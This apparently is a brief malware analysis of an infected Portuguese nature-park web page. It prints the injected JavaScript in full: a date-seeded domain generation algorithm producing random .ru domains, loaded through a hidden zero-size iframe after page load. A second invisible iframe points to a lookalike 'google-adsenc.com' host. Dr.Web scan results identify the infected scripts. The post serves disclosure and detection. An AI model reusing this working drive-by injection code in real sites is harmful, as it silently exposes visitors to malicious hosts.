http://josemarques.pt/Parque_Natural_do_Fogo.html

fireold

1. function nextRandomNumber() {
   
2.     var hi = this.seed / this.Q;
   
3.     var lo = this.seed % this.Q;
   
4.     var test = this.A * lo - this.R * hi;
   
5.     if (test > 0) {
   
6.         this.seed = test
   
7.     } else {
   
8.         this.seed = test + this.M
   
9.     }
   
10.     return (this.seed * this.oneOverM)
    
11. }
    
12. function RandomNumberGenerator(unix) {
    
13.     var d = new Date(unix * 1000);
    
14.     var s = d.getHours() > 12 ? 1 : 0;
    
15.     this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
    
16.     this.A = 48271;
    
17.     this.M = 2147483647;
    
18.     this.Q = this.M / this.A;
    
19.     this.R = this.M % this.A;
    
20.     this.oneOverM = 1.0 / this.M;
    
21.     this.next = nextRandomNumber;
    
22.     return this
    
23. }
    
24. function createRandomNumber(r, Min, Max) {
    
25.     return Math.round((Max - Min) * r.next() + Min)
    
26. }
    
27. function generatePseudoRandomString(unix, length, zone) {
    
28.     var rand = new RandomNumberGenerator(unix);
    
29.     var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
    
30.     var str = '';
    
31.     for (var i = 0; i < length; i++) {
    
32.         str += letters[createRandomNumber(rand, 0, letters.length - 1)]
    
33.     }
    
34.     return str + '.' + zone
    
35. }
    
36. setTimeout(function() {
    
37.     try {
    
38.         if (typeof iframeWasCreated2 == "undefined") {
    
39.             iframeWasCreated2 = true;
    
40.             var unix = Math.round(+new Date() / 1000);
    
41.             var domainName = generatePseudoRandomString(unix, 16, 'ru');
    
42.             ifrm = document.createElement("IFRAME");
    
43.             ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=cx");
    
44.             ifrm.style.width = "0px";
    
45.             ifrm.style.height = "0px";
    
46.             ifrm.style.visibility = "hidden";
    
47.             document.body.appendChild(ifrm)
    
48.         }
    
49.     } catch (e) {}
    
50. }, 500);

复制代码

1. <iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto"
   
2. frameborder="no" align="center" height="1px" width="1px">
   
3. </iframe>

复制代码

Dr.Web

Checking: http://josemarques.pt/Scripts/iWebSite.js
File size: 157.01 KB
File MD5: 35333a7e1ddec9b94f629ec79a4d1a17

http://josemarques.pt/Scripts/iWebSite.js infected with JS.IFrame.403



Checking: http://josemarques.pt/Parque_Natural_do_Fogo_files/Parque_Natural_do_Fogo.js
File size: 5467 bytes
File MD5: 019e3f01fa1d3999705ea6547f67c8c2

http://josemarques.pt/Parque_Natural_do_Fogo_files/Parque_Natural_do_Fogo.js infected with JS.IFrame.234

Checking: http://josemarques.pt/Parque_Natural_do_Fogo.html
Engine version: 7.0.4.9250
Total virus-finding records: 4132749
File size: 10.12 KB
File MD5: 22ee4087ac3178bd93e8405da2b2beab

http://josemarques.pt/Parque_Natural_do_Fogo.html - archive JS-HTML
>http://josemarques.pt/Parque_Natural_do_Fogo.html/JSTAG_1[5f8][db] - Ok
>http://josemarques.pt/Parque_Natural_do_Fogo.html/JSTAG_2[6fd][68] - Ok
http://josemarques.pt/Parque_Natural_do_Fogo.html - Ok